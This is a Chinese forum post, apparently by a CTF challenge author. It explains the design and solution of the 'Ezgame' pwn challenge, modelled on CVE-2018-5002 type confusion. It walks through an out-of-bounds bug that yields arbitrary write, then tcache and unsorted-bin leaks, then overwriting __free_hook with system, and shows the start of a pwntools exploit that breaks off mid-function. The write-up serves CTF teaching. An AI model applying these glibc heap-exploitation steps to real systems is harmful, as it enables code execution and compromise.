-
-
[原创]设计思路
-
发表于:
2019-3-15 10:35
5867
-
设计思路
1. 设计灵感来自于CVE-2018-5002,类型混淆。漏洞样本是通过vb脚本自定义两个相似对象,通过漏洞函数使两个对象的类型发生了混淆,实现了任意地址读写。题目提前定义了两个对象类型,并设计一个漏洞函数(漏洞为数组越界)。
Struct a{
Name;
}
Struct b{
A;
Name;
}
通过漏洞函数导致b对象进入了a对象的数组。导致对a对象name的写影响了实际为b对象的结构指针A。导致了任意地址写。
2. 程序开启了全保护,有了任意地址写后需要掌握写的地址。题目第二部分为信息泄露部分。在对a对象进行写入后会有一次输出内存的机会用来泄露堆里的数据。流程为
泄露堆地址->任意地址写chunk size->泄露libc地址
解题思路
第一步通过tchche指针得到堆的地址。由于free堆块采用的rand的方式从数组里随机释放。得到的heap地址需要/0x1000*0x1000+0x660(libc-2.27)
第二步,需要创造出能分配进入unsorted_bin链表的堆块。由于tcache的限制,需要释放大小大于0x408的堆块才能进入unsorted_bin,或者多次释放small chunk填充tcache链表。题目malloc大小固定为0x20.需要通过任意地址写+堆地址写入某一堆块size,配合save函数中的free,free的堆块地址可以由类型混淆控制。我选择写入的大小为0x30*22=0x420.得到libc中main_arena地址。之前可以尝试摸索发现程序存在tcache机制可以判断libc版本为2.26或2.27(故libc未给出,不然就太简单了。。。).分别尝试可得到libc地址。
第三步,任意地址写写入free_hook为system完成利用
Exp:
from pwn import *
p=process('./Ezgame')
e=ELF('./libc-2.27.so')
context(log_level='debug')
def save():
p.writeline('5')
p.readuntil('>>')
def edit_lucky(a,b):
p.writeline('4')
p.readuntil('which')
p.writeline('0')
p.readuntil('What is your new name?')
p.write(a)
p.readuntil('name')
p.write(b)
p.readuntil('>>')
def edit_single(a,b):
p.writeline('3')
p.readuntil('which')
p.writeline(a)
p.readuntil('name')
p.write(b)
p.readuntil('>>')
def create_lucky(a,b):
p.writeline('2')
p.readuntil('Name')
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)